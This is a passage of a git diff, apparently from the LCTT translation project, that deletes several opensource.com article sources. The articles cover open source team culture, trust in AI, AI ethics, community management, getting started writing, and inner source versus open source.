https://github.com/apache/pulsar -[8]: https://superset.apache.org/ -[9]: https://github.com/mistercrunch -[10]: https://twitter.com/kevinsxu/status/1275072801511059456 -[11]: https://preset.io/blog/2020-04-15-github-community-dashboard/ -[12]: https://opensource.com/sites/default/files/uploads/kongpr-reviews.jpg (Kong PR reviews by GitHub handle) -[13]: https://opensource.com/sites/default/files/uploads/pulsarpr-reviews.jpg (Pulsar's PR reviews by GitHub handle) -[14]: https://github.com/sonicaghi -[15]: https://github.com/subnetmarco -[16]: https://github.com/sijie -[17]: https://github.com/jiazhai -[18]: https://github.com/codelipenghui -[19]: https://www.splunk.com/en_us/blog/leadership/splunk-to-expand-streaming-expertise-announces-intent-to-acquire-streamlio-open-source-distributed-messaging-leader.html -[20]: https://opensource.com/sites/default/files/uploads/kong_leaderboard.jpg (Kong's 90-day leaderboard chart) -[21]: https://opensource.com/sites/default/files/uploads/pulsarleaderboard.jpg (Pulsar's 90-day leaderboard chart) -[22]: https://opensource.com/article/20/3/documentation -[23]: https://coss.media/2-things-to-measure-and-improve-open-source-community-sustainability/ diff --git a/sources/talk/20201113 3 ways managers build team culture around open source.md b/sources/talk/20201113 3 ways managers build team culture around open source.md deleted file mode 100644 index b7f52a78aa..0000000000 --- a/sources/talk/20201113 3 ways managers build team culture around open source.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 ways managers build team culture around open source) -[#]: via: (https://opensource.com/article/20/11/selfless-culture) -[#]: author: (Shishir Kamboj https://opensource.com/users/shishirkamboj) - -3 ways managers build team culture around open source -====== -Contributing to open source prevents complacency and teaches people the -value of giving to the greater good. -![Teammates shaking hands and smiling in an office][1] - -Whether you are a senior leader or an individual contributor, you make decisions based on your personal, peers', and colleagues' experiences and feedback. If the people around you are evolving, you will grow with them, as will the organization you support. If the backgrounds and knowledge of the people around you are diverse and changing, you and your team will benefit. - -I've noticed that my skillset and contributions give diminishing returns if I am not challenged. Human beings tend to get into their comfort zones quickly. We get used to working a certain way, and we start to depend on key people to make decisions for us. This leads to complacency, which does not change unless we are challenged due to market shifts or other external forces. - -A selfless approach contributes to growth in career and skillsets as well as helps others grow. When we not only promote ourselves but the right person for the right job, we can be better team players. Our focus becomes what is right for the organization, not what is right for us. It helps both individuals and organizations when we are more flexible and ready for change. - -The big question is: How can you create opportunities for change and create a selfless approach on your team? It may be difficult to ask your employees to be completely selfless. But as leaders, we can align our teams' and employees' growth to the organization's development. The following are a few ways to achieve this. - -### 1\. Help employees create a career - -Invest in your teams. Set a career path for each team member. You may find employees who are happy working on the same things year after year. While I agree that it is essential to have expertise, this can easily lead to complacency and hoarding. I see these as significant concerns. - -When you like what you do, you can excel at it. You should achieve consistent improvement in the knowledge and exposure you get. It helps if you have a forte in an area where you are a point person across the board. At the same time, it's essential to move forward while looking for new avenues to contribute. Working on open source software is an excellent way to make that happen. - -In one of my earlier roles, I led an infrastructure services team. For a long time, this group focused on data center design, hardware, and network engineering. As cloud services started emerging, the team found itself in an identity crisis. The group had not added any new skill sets over the previous few years. The team's motivation scores were at an all-time low. Work became more limited as deployments shrunk to legacy applications. - -It was imperative to invest in the team to help boost morale and connect with the company's vision. The team members needed to see how they added to the company's growth while gaining knowledge and new skills. - -As we investigated our customers' pain points and their needs, we realized an open source strategy around cloud computing would be an ideal investment area. The team's experience made the transition challenging, but the members were ready for the change. The group swiftly jumped on the initiative and brought much success to themselves and the organization. - -Carving out time for your team to work on open source software and contribute upstream is a great way to put your team members out there and help them gain different experiences while working with the broader community. It is imperative for leadership to move team members around to transition them to something new. It is also necessary to remind your team that every initiative, technology, or project follows a curve that starts with innovation, then shows heightened expectation, goes into a growth phase, and eventually declines. - -This point is even more critical for managers and leaders. Sometimes I see leaders who are stuck in the status quo. A leader's attitude can impact a team's culture—negatively or positively. - -### 2\. Correlate the team's success with the organization's success - -Leaders can motivate teams by showing appreciation to contributors. It is critical for teams to understand the impact their work has on customers and the world. It's also vital for them to correlate their role with the company's success. Every employee should know the value they bring to the table. - -Understanding the financial value your team brings to the company is part of this. Share how the product or service your team provides contributes to revenue. This will show how your team how critical their product or service is for your customers and how it impacts the customer experience. This has really worked for me and the teams I lead. - -### 3\. Bring pride to what you do - -Bringing pride to your work is a crucial element in developing ownership. If you take pride in what you do, you will enjoy it more. Employees who are proud of their work will be more eager to share and also look for ways to improve. As a manager or leader, it is your responsibility to bring visibility to your team's work. Appreciation for your team goes a long way, especially if you show your gratitude in front of the broader organization. - -Open source community participation can provide opportunities to contribute to a greater good, give visibility to your work, challenge your thought process, and drive you to think out of the box. What suggestions do you have to helping teams overcome complacency and become more selfless? Please share your thoughts in the comments.  - -Learn how companies can get started in contributing to open source projects, including encouraging... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/selfless-culture - -作者:[Shishir Kamboj][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/shishirkamboj -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/handshake_teamwork_meeting_office_space.png?itok=6H0GEyoc (Community and team smiling) diff --git a/sources/talk/20201113 How to create trust in artificial intelligence using open source.md b/sources/talk/20201113 How to create trust in artificial intelligence using open source.md deleted file mode 100644 index 9c9340d3fc..0000000000 --- a/sources/talk/20201113 How to create trust in artificial intelligence using open source.md +++ /dev/null @@ -1,60 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to create trust in artificial intelligence using open source) -[#]: via: (https://opensource.com/article/20/11/ai-open-source) -[#]: author: (Rebecca Whitworth https://opensource.com/users/rsimmond) - -How to create trust in artificial intelligence using open source -====== -Opening up the "black box" helps remove uncertainties about AI outcomes, -providing insight into the modeling process and identifying biases and -errors. -![Brain on a computer screen][1] - -Artificial intelligence (AI) is being used more frequently in our daily lives, with systems such as Siri and Alexa becoming commonplace in many households. Many households themselves are "smart," powered by devices that can control your lights, heating and air, and even the music playing. And those music players are powered by AI that recommends songs and artists you may like. - -However, these systems are often referred to as "black box" systems because we do not know how the data is processed—how do the users know why the model has made that prediction? The advent and widespread adoption of deep neural networks, while providing impressive results, made this even more critical, since humans can't logically interpret how information is processed within thousands of neurons. - -A more safety-critical example of AI systems is when doctors use them to reduce stress loads. These systems do this by quickly ingesting data at a rapid rate; for example, thousands of medical journals could be read and parsed by AI exponentially faster than by a human. This data can then be used to train predictive models, which are used to help doctors diagnose patients, this time armed with far more data points than were available before and in a quicker time. People assume that, with all this information, a machine can make "better" decisions than humans. However, how can we trust a machine to make such critical decisions when we do not fully understand the data processing techniques? - -Open source supports many methods and applications that can lead to better trust in AI systems. In this article, we will explore some of those open source projects as well as the open source mentality, and how by becoming part of the open source community, you can gain more trust in your AI. - -Projects like [LIME][2] and [SHAP][3], which are open source, can explain the outcome of a prediction. To illustrate how this works, let's look at a loan request use case. Based on an AI outcome, a bank rejects a customer who has made a loan request, but why did the algorithm return that outcome? Projects like these aim to make the model more explainable by showing feature importance graphs, i.e., which features were significant to the outcome of the model. Features are the inputs that generate the prediction. In this example, if an important feature used to reject the loan had been "gender," then this would mean the model is biased or incorrect. If the model is known to be wrong, then retraining it will give improved predictions. - -These projects help to build trust in AI systems by explaining the black box model and introspecting decision-making. By open sourcing projects such as this, we can ensure confidence in the system due to the openness of the predictive modeling process. It can give stakeholders confidence that the model is correct and that its recommendations can be trusted, so there is less business risk. - -Open source can stop unfairness, such as the gender-bias example above, by iteratively testing the system's potential outcomes quickly and effectively. If the model is biased, then a notification to the community can be made in a timely fashion, as there are more developers in the community than there would be if the project was closed source. Therefore, if there is trust in the community, then there can be trust in the system. - -Open source platforms leverage ideas from a broad group of peers and offer greater opportunity to innovate and create worthwhile features in a system. These ideas focus the project in a user-driven direction, and improvements come from the developers/users themselves. The system is trustworthy because it has a user-centric design pattern and fosters knowledge of system development and execution. Essentially, the people who have made the system can trust the system. - -When an AI system fails, people may be offended or misled. The project or organization loses people's confidence, and it creates distrust of the system overall. Credibility can be protected by making an AI project open source, because with more testers in the community, the more the data and performance can be verified. - -By leveraging the community-focused nature of open source, we can also ensure that more people with a wider variety of skill sets routinely check the codebase. Predictive models are very good at recognizing patterns; however, they can fail when faced with an outlier. Humans, on the other hand, are very good at being able to recognize and respond to anomalies and nuance. Therefore, having humans involved in the AI system is integral to stopping mistakes, which, in the example use case of the doctor, could actually be deadly. It is essential to have domain experts to check the system's outcomes, and the more, the better. - -Community-focused feature development can also improve trust by ensuring that the project meets company regulations. The community can include stakeholders from the business who can then lead the development focus and reduce business risk. - -A closed approach to AI can lead to inadequate feature design choices that are not relevant to the current needs of the community and businesses. Such features can be harmful to the system; for example, if a medical system's patient diagnostic function has poor accuracy due to lack of testing, then this will mean more human intervention and, ultimately, less trust. - -A closed approach can also stifle creativity and freedom to develop innovative ideas, and it stops the feedback loop on ideas from community users or people outside of the company. A feedback loop is useful, as the people who are developing it have a greater knowledge of the system and how it works, and if the community knows it works, then they are more likely to use it. - -Trusting AI can be hard when people use black box models, due to the lack of understanding of what they are doing and how they work. Open source mentality and models help users and developers to create more trust in AI by opening up the black box, encouraging iterative and collaborative development, and using the community to ensure proper functionality and fewer bugs. Open source allows AI to reach its potential in a trustworthy and meaningful way for users. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/ai-open-source - -作者:[Rebecca Whitworth][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/rsimmond -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brain_computer_solve_fix_tool.png?itok=okq8joti (Brain on a computer screen) -[2]: https://github.com/marcotcr/lime -[3]: https://github.com/slundberg/shap diff --git a/sources/talk/20201114 How I channel my inner Star Trek character at work.md b/sources/talk/20201114 How I channel my inner Star Trek character at work.md deleted file mode 100644 index ed902f4bfd..0000000000 --- a/sources/talk/20201114 How I channel my inner Star Trek character at work.md +++ /dev/null @@ -1,57 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I channel my inner Star Trek character at work) -[#]: via: (https://opensource.com/article/20/11/inner-star-trek) -[#]: author: (Jen Wike Huger https://opensource.com/users/jen-wike) - -How I channel my inner Star Trek character at work -====== -I am more of a Deanna Troi in my role as a community manager. How about -you? -![Open source stars.][1] - -In a recent [Twitter thread][2], I self-identified as "some days Deanna, some days Riker." Others shared their own "Star Trek Spectrum," from Worf to O'Brien and McCoy to Neelix. That led me to think more about Deanna Troi: the half-human, half-Betazoid empath who served as Lieutenant Commander and the ship's counselor for most of _Star Trek: The Next Generation_. - -Ever since my middle school days, I felt a kinship with her as I watched her observe and respond to situations and the people in them. Today, as an open source community manager, I think about how these traits are vital to the role of nurturing and guiding a group of people. Here's how I channel my inner Deanna Troi at work. - -![][3] - -opensource.com - -### Holding space - -Instead of speaking the next word, I take a breath. I try not to rush in with something to say in response to the things that happen and in response to conversations with the people that make up our community. I listen, and then when the time is right, I speak. That can be hard especially when I am feeling confident in how to move forward and am eager to show the way. I've learned that taking a beat and slowing down, rarely does harm if coupled with clarity around the situation. Sometimes it is important to act quickly, to step in and guide the community around an issue, but even swift action can be accompanied with thoughtful deliberation.  - -To achieve this, also give yourself space to think and slow down. If you need to think through something, go for a walk, make a tea or meal, and say no to that next meeting to give yourself the time you need to do your job with integrity.  - -### Radical empathy - -Truly hearing and listening to others, then digesting that information, often leads to empathy. Even when we don't feel the same way—often due to differing perspectives—we can get closer to empathizing with others when we listen closely and fully. And why would we want to do that? Because understanding someone allows us to relate to them, and then we can find a solid place from which to nurture and guide them. - -Getting to know each person individually is something I recommend, and if the community you are a part of is too big for that, don't shut down the idea of reaching out at all. Start from where you are, and connect with the next closest person—you have a meeting set up to onboard them, you interacted on social media, you fixed a bug they submitted, etc. This kind of growth is authentic and sustainable. - -### Tapping into intuition - -At first glance, it may seem that those best fit for a role at the helm are those who identify as extroverted and easily heard, however, I've found those who know how to silence the noise and follow their own inner certainty are those who can inspire others to do the same. And that is where the power is, inside all of us, not just one of us. - -Open source communities are continuing to be called upon to innovate, act, and lead, and these traits are important not just for leaders to cultivate but for everyone involved in working together as a group to achieve a goal or collaborate on a project. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/inner-star-trek - -作者:[Jen Wike Huger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jen-wike -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc_520x292_opensourcestars.png?itok=hnrMETFh (Open source stars.) -[2]: https://twitter.com/JenWike/status/1318188923298906113 -[3]: https://opensource.com/sites/default/files/pictures/deannacover001.jpg diff --git a/sources/talk/20201125 Got something to say- How to get started writing.md b/sources/talk/20201125 Got something to say- How to get started writing.md deleted file mode 100644 index 8af5d1ea10..0000000000 --- a/sources/talk/20201125 Got something to say- How to get started writing.md +++ /dev/null @@ -1,87 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Got something to say? How to get started writing) -[#]: via: (https://opensource.com/article/20/11/how-write-article) -[#]: author: (Jen Wike Huger https://opensource.com/users/jen-wike) - -Got something to say? How to get started writing -====== -A community manager and editor shares her inspiration and tips for -finding and sharing your expertise with others. -![A person writing.][1] - -Well, I suppose after all this talk of how to find your story and then write your story, I should make a post about how to do just that. I've broken it down into three sections: how to find your story, how to write your story, and how to share it and get it published. - -During the All Things Open virtual event this year, I was invited to share my tips, and now you can watch that. It's about 20 minutes with some questions and commentary at the end. - -You may have a clear reason why you want to write, or you may need some prodding. My belief is that we all have something valuable to share. Really. And the reasons are made clear in the survey answers in [this document][2]. One reason that resonates with many in the tech world is "because my manager wants me to," which could lead to a promotion or increased thought leadership in your field. Another great one for those working on an open source project is, "it is an act of giving back to the community... with the simultaneous goal of getting your name out in the community and building connections for other career opportunities." - -### How to find your story - -Do your homework, but this time hopefully it's a bit more fun and a bit less time-consuming. By all means, take the afternoon or the week to complete [this worksheet][3], but if you have an hour during work, this can fit into your busy schedule. Although I'm happy to take a look and help guide you once you get started, no one is grading your responses. They're yours, and their only goal is to get you closer to that elusive article. Whether it's your first, or your 100th, we all have reasons why it can be difficult to write. - -The [worksheet][3] asks a variety of questions in a "choose your own adventure" type way. You can answer all of the questions, or skip to the parts that interest you most. It starts with asking: - - * What do you do at your job? - * What are you passionate about? - * What communities are you or do you want to be a part of? - - - -After you complete the worksheet to your liking, take a break. A few minutes, a few hours or days, and go back to it. What jumps off the page and still rings true? Perhaps it's now plainly obvious what your article should be about. If you still need a way to prioritize your choices, label each one with one of these time-based categories: - - * Easy to write (you know this topic backward and forwards) - * Quick to write (explaining is fast and a short read) - * Hard to write (you may need to think through the process and list out many details) - * Time-consuming to write (this may take some additional research in addition to being highly detailed) - - - -### How to write an article - -First, sit down and make yourself write an outline. I know, I know... boring! But this can save you a lot of time. Once you've landed on an outline that works for you and your topic, once you sit down and start writing, there's a better chance you'll get into the flow, following your outline, and knock it out in less time than you imagined. And in an amount of time that feels good to you and gives you a good feeling about writing, especially again and again. - -Then, share it with a friend or an editor. Friends can be a quick and easy outlet, especially if they are of the writer sort. And, I encourage you to send it to an editor if you have a particular publication in mind for where you'd like to try to get it published. While you wait, buff up on your writing by taking a look at [a solid style guide][4]. - -Once you get to a place where you feel ready to get writing, review the format of an article and identify who your audience is. The format of an introduction that describes what the article is about and what the reader will learn, the body of the article focused on walking the reader logically through the steps or phases with straightforward headers, and a conclusion that gives final thoughts and a summary. - -I like to write using a shareable document for easy collaboration and editing with others and editors. - -### How to get your article published - -First, decide whether you want to self-publish, on your own blog or a place like Medium, or if you want to get your article published on a publication like Opensource.com or Linux Today. - -If you're reaching out to a publication, try to find information about how they would like you to submit your article. Some have webforms, some want you to simply send them an email. Some, like us, [have both][5]. Let them know who you are, what you wrote about, and perhaps why you wrote about it. - -For example: My name is Jen Wike Huger. I'm a community manager and editor for Opensource.com, so my expertise is writing and working with authors. My article is about how to find your story, writing, and getting published. - -### Wrapping up - -The slide deck, worksheet, survey answers, and style guides for writing are [on GitHub][6]. - -The slides are from the All Things Open presentation. The worksheet is to help you decide what to write about, to find your story. The survey answers will inspire you and answer the question: Why should I write about what I know anyway? And the style guides will help you before and during the actual writing process, covering grammar, formatting, and more. - -There are a ton more details baked into every part of this, so if you have specific questions, I welcome them in the comments, via email, or on Twitter. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/how-write-article - -作者:[Jen Wike Huger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jen-wike -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003784_02_os.comcareers_resume_rh1x.png?itok=S3HGxi6E (A person writing.) -[2]: https://github.com/JenWike/getpublished/blob/main/Why%20write_.txt -[3]: https://github.com/JenWike/getpublished/blob/main/Worksheet_%20How%20to%20find%20your%20story.odt -[4]: https://github.com/JenWike/getpublished/blob/main/styleguides -[5]: https://opensource.com/how-submit-article -[6]: https://github.com/JenWike/getpublished/ diff --git a/sources/talk/20201127 4 questions about AI ethics and how open source can help.md b/sources/talk/20201127 4 questions about AI ethics and how open source can help.md deleted file mode 100644 index 7417e413bc..0000000000 --- a/sources/talk/20201127 4 questions about AI ethics and how open source can help.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (4 questions about AI ethics and how open source can help) -[#]: via: (https://opensource.com/article/20/11/ai-ethics) -[#]: author: (Sahana Sreeram https://opensource.com/users/sahanasreeram01gmailcom) - -4 questions about AI ethics and how open source can help -====== -Open source resources could provide effective solutions to some key -ethical considerations for artificial intelligence. -![A robot arm illustration][1] - -As a high school student, I've become very interested in artificial intelligence (AI), which is emerging as one of the most impactful innovations of recent times. This past summer, I was selected for the [AI4ALL][2] program, where we learned how to develop AI systems using Python. - -For my final project, I created an object-detection program and integrated it with a virtual drone simulation. Throughout the project, I was able to use open source frameworks, including [TensorFlow][3], [Keras][4], [Scikit-learn][5], and [PyTorch][6], to aid in developing the object-detection machine learning (ML) algorithm process. - -By doing this project and using other open source frameworks like [Linux][7], [Apache Kafka][8], and [ElasticSearch][9], I realized the impact of open source technologies on AI system development. Access to these powerful, flexible technologies enables people to experiment with and develop AI systems. - -I discovered another important aspect of AI when I attended a seminar at [William & Mary][10] about AI and ethics. As we discussed some of the ethical concerns surrounding AI systems, I started wondering: How do I make sure that the systems I'm developing are ethical? - -To answer my question, I interviewed three experts: [Alon Kaufman][11], PhD, CEO of Duality Technologies; [Iria Giuffrida][12], PhD, a law professor at William & Mary; and an executive in the fintech industry (name kept confidential upon request). I am very grateful to these experts for giving me their valuable time, fueling my curiosity, and inspiring me with their journeys in this field. - -### How important of a role does ethics currently play in AI systems? - -As more advances are made with AI, society is starting to appreciate the importance of ethical implications. However, the discussions about ethical values in AI system development are still an academic exercise, Dr. Kaufman says. Today, much of AI, and especially ML models, remains a "black box" because advanced algorithms and complex AI technologies (such as deep learning) produce models that are not self-explainable. Without having explainable AI/ML models, it's hard to introduce ethical considerations into the conversation.  - -For Dr. Kaufman, the industry's focus today is on data security and protection. As more smart technology is developed, it's getting easier to acquire data. The large amounts of data handled in AI systems make them vulnerable to cyber breaches. - -While it is certainly vital to build data protection measures for AI systems, it is becoming critical to shift the focus to other ethical implications, such as privacy and machine bias. - -### Is ethical AI development a good goal for the future, or is it wishful thinking? - -The short answer is that it is a reasonable goal to create ethical AI systems, but it will take time. - -"Ethics" is a difficult concept to define. One approach is to look at ethics through a three-pronged methodology: security, privacy, and fairness. Most of the industry is now focused on security, and a practical next step could be to address the issues of privacy and ensuring data anonymity. "Privacy-enhancing technologies, such as secure computing and [synthetic data][13] could offer assistance in this process," explains Dr. Kaufman. Only after finding solutions to the security and privacy areas of ethics is it reasonable to venture into machine fairness and bias. - -There are many factors to consider in the development of unbiased AI. "The first step is the deployment of active-learning models into society, followed by the actual development of [fair systems][14]," says the fintech industry expert. He explains that when ML equipped with active learning is deployed, society's own biases are often imposed on the model, even unknowingly, creating very flawed systems. When developers create AI systems, their preconceived notions must never be injected into the system code, says Dr. Kaufman. These are some of the key areas that must be addressed in developing unbiased models. - -### How early should students be exposed to ethical considerations in AI/ML? - -It's increasingly important to learn not only about computer science principles but also about how to build ethical models. Professor Giuffrida says computer scientists and AI developers have not explicitly been trained to think about the ethics behind their systems. This is why the development of bias-proof systems cannot be a linear process, she says; they must go through multiple review levels to minimize injecting bias in the machine process. - -Professor Giuffrida emphasizes that AI development should be treated as an interdisciplinary study, meaning that it is not just developers who are in charge of creating accurate and ethical systems—that's an enormous responsibility to put on one group. But introducing ethical concepts to aspiring AI engineers at a foundational level could accelerate building sustainable, functional, and ethical systems. - -### Will ethics come at the expense of innovation? - -This was the main question I kept coming back to throughout the interviews. During the AI4ALL course, we explored the recent [Genderify fiasco][15], which was AI software intended to identify a user's gender based on several data points, including name, email address, and username. When launched for public use, the results were highly inaccurate—for example, the name "Meghan Smith" was assigned female, but "Dr. Meghan Smith" was assigned male. These biases led to the service's failure. More comprehensive ethical reviews and tests conducted before launch could make this type of product successful, at least initially. - -All three experts voiced the idea that ethical boundaries are becoming necessary. According to the fintech executive, "Reasonable ethical constraints will not limit innovation—companies must eventually figure out how to innovate within these boundaries." In this fashion, ethical considerations could increase sustainability and success for a product—rather than putting a complete stop to AI development. Venture capitalist Rob Toews offered an interesting perspective on [regulating AI][16], and I recommend this article if you want to learn more about this topic. - -Ultimately, introducing ethics into pure AI is a daunting but necessary step to secure AI's viability in our world. Open source resources could provide effective solutions to some key ethical considerations, including comprehensive system testing. For example, the [AI Fairness 360][17] open source toolkit by IBM assesses discrimination and biases in ML models. Open source communities have the ability to develop tools like this to provide greater coverage and support for ethical AI systems. In the meantime, I believe it is my generation's responsibility to build bridges between creating revolutionary AI technologies and considering ethical implications that will stand the test of time. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/ai-ethics - -作者:[Sahana Sreeram][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sahanasreeram01gmailcom -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/robot_arm_artificial_ai.png?itok=8CUU3U_7 (A robot arm illustration) -[2]: https://ai-4-all.org/ -[3]: https://www.tensorflow.org/ -[4]: https://keras.io/ -[5]: https://scikit-learn.org/stable/ -[6]: https://pytorch.org/ -[7]: https://www.linux.org/ -[8]: https://kafka.apache.org/ -[9]: https://www.elastic.co/ -[10]: https://www.wm.edu/ -[11]: https://www.linkedin.com/in/alon-kaufman-24067b154/ -[12]: https://law2.wm.edu/faculty/bios/fulltime/igiuffrida.php -[13]: https://en.wikipedia.org/wiki/Synthetic_data -[14]: https://en.wikipedia.org/wiki/Fairness_(machine_learning) -[15]: https://www.theverge.com/2020/7/29/21346310/ai-service-gender-verification-identification-genderify -[16]: https://www.forbes.com/sites/robtoews/2020/06/28/here-is-how-the-united-states-should-regulate-artificial-intelligence/?sh=1c242ebc7821 -[17]: https://aif360.mybluemix.net/ diff --git a/sources/talk/20201127 Comparing the similarities and differences between inner source and open source.md b/sources/talk/20201127 Comparing the similarities and differences between inner source and open source.md deleted file mode 100644 index 98bfd01bb2..0000000000 --- a/sources/talk/20201127 Comparing the similarities and differences between inner source and open source.md +++ /dev/null @@ -1,87 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Comparing the similarities and differences between inner source and open source) -[#]: via: (https://opensource.com/article/20/11/inner-source) -[#]: author: (Nithya Ruff https://opensource.com/users/nithyaruff) - -Comparing the similarities and differences between inner source and open source -====== -Open source principles can be applied within a company to access the -benefits of collaborative development. Here's how. -![two women kanban brainstorming and brainmapping with post-it notes on a whiteboard ][1] - -Open source software (OSS) has been around since the 1990s and has thrived, quickly growing to become mainstream. It is now more well understood around the world than it has ever been before. Some refer to it as FOSS to highlight the Freedom part of open source (Free and Open Source Software). And in 2014, at OSCON, the term "inner source" was debuted, and people started talking about how to use the principles of open source, but inside of a company. It raised several questions for those unfamiliar with the term, which I hope to answer with this article. For example, what is similar about the two, what is different, the company roles involved in the two, is inner source taking the energy away from open source, etc. These are all fair questions, and as my organization practices both and is involved in both movements, I want to take some time to share insight with this audience as a developer, as a company, and as an open source enthusiast. - -There are two principal elements that make open source successful. The first is that it is licensed under OSS licenses that promote and support free distribution of the source with the binaries for people to use any way they want. When GPL (General Public License) was introduced in the 1990s, it was revolutionary—no charge, source included, and no restriction on use. That helped proliferate open source projects like Linux and allowed rapid innovation. - -The other particularly essential element is the way open source software grows and develops. It happens through a community of people who are most often not in the same organization or geographic location. They come together because they believe in the solution or mission of the project. Because these people came from different development cultures but needed to work on common projects, they evolved norms for working together, such as how they communicate with each other, how decisions are made, and how to review new submissions. This codification of how disparate teams work without being in the same organization is unique and powerful. This type of development is known as "collaborative development." - -Not all communities are effective, but the ones who figure out how to work together often have some common elements: - - * Governance: They work out how the project will govern itself—decisions, roles, reviews, meetings, mission, budgets, organization structures, etc. - - * Communication: They figure out how to work with people across time zones, across cultures, and organizations. For example, documenting decisions on a mailing list vs. live discussions. Providing people with 24 to 48 hours to review and respond to a question or decision is another good practice established to allow people in different zones and different work situations to collaborate. - - * Common tools: Review and communication are imperative to development. Tools such as GitLab and GitHub build in collaborative practices to enable working across teams. - - * Architecture: Projects are often architected for maximum engagement into components, API (Application Programming Interface), sub-systems so that not everyone needs to know everything, or they don’t change the whole project when they make changes. - - - - -Both in response to digital challenges as well as changing customer expectations, enterprises outside of the tech vendor space, in particular, have been transforming how they build products and services as well as how they engage with their customers. And with the 2020 COVID-19 pandemic, many companies and organizations have gone virtual and fast-tracked their digital transformation plans to meet changing customer and market needs. And some accelerated their plans to capture new opportunities and support changes in how customers consumed their services. Teams that relied on physical proximity, hallway conversations, and other elements of development were faced with a need to change how they worked. Many of them realized that they could turn to the collaborative development model of open source for examples of how to work remotely and effectively. - -Even before the COVID-19 pandemic, because of early digital transformation plans, companies had already begun adopting and working with open source and had realized the benefits of open innovation. The need to go faster, reduce costs, breakdown silos across the company, and reuse vs. reinvent has created a spur to do more collaborative development or open source-style community development inside the company walls. - -The benefits of collaborative development can be applied in many ways: - - * Collaboration among remote and geographically distributed organizations - - * Creating a more open and collaborative culture inside a company - - * Creating communities around common interests and common problems - - - - -The traditional way companies develop software inside companies is quite different from the open source collaborative model. Because of how budgets, organization structures, and incentives work, teams work in silos, are top-driven, and have no incentive to share and collaborate across the organization. Teams often report to the same organization, resulting in low documentation of decisions and low leverage of experts across the company. - -Many organizations have been experimenting with collaborative development for some time. At Comcast, for example, teams called it enterprise source. But then the term "inner source" was created by Tim O’Reilly, founder, CEO, and publisher at O’Reilly publishing in 2001. (This [interview][2] with Tim is a remarkable story of how he came to coin this term). He talks about how the modularity of code and the access to source was a huge driver for collaboration, even more than the license itself. He calls it the "Architecture of Participation." Soon after, in 2015, Danese Cooper, who was running the OSPO (Open Source Program Office) at PayPal at that time, [introduced this term][3] at OSCON. She also shared what PayPal had been doing inside the company to break down silos and to create collaboration. The [InnerSource Commons][4] non-profit foundation was also established to allow people to collaborate on their experiences, patterns, and best practices. Here is a more formal definition of inner source: - -> "Inner source is an adaptation of open source practices to code that remains proprietary and can be seen only within a single organization, or a small set of collaborating organizations. Thus, inner source is a historical development drawing on the open source movement along with other trends in software." -> -> —From [_Adopting InnerSource_][5], O’Reilly Publications - -The biggest similarities between open source and inner source involve the collaborative development model. Working across teams inside an organization on common source code is a culture change for a traditional enterprise. Both versions of it need sponsorship and support from the top to thrive inside an organization. - -The biggest differences are what motivates one to start an inner source project over an open source project. The often-repeated wisdom of open source communities is that people get into it because they have an "itch to scratch." Often, trying to solve a technical issue is the reason that they start a new project. With inner source, there may be more of an organization-wide reason to start opening their code and collaborating with other teams. One main reason is to enable another team to work more effectively with the platform or to reduce a duplicate effort. Some organizations have chosen a default approach of opening all repositories for anyone in the company to see and use or collaborate on. One huge driver has been to stage it as an inner source project before fully open sourcing it. This allows the team to hone a good collaboration strategy and practice before open sourcing. - -I like the model that PayPal used—having inner source and open source be a part of the same organization. There are shared practices, skills, and tools that can be used across the two. At Comcast, both practices live in the Open Source Program Office. The inner source team has built a guild with members of architecture, security, and leadership to 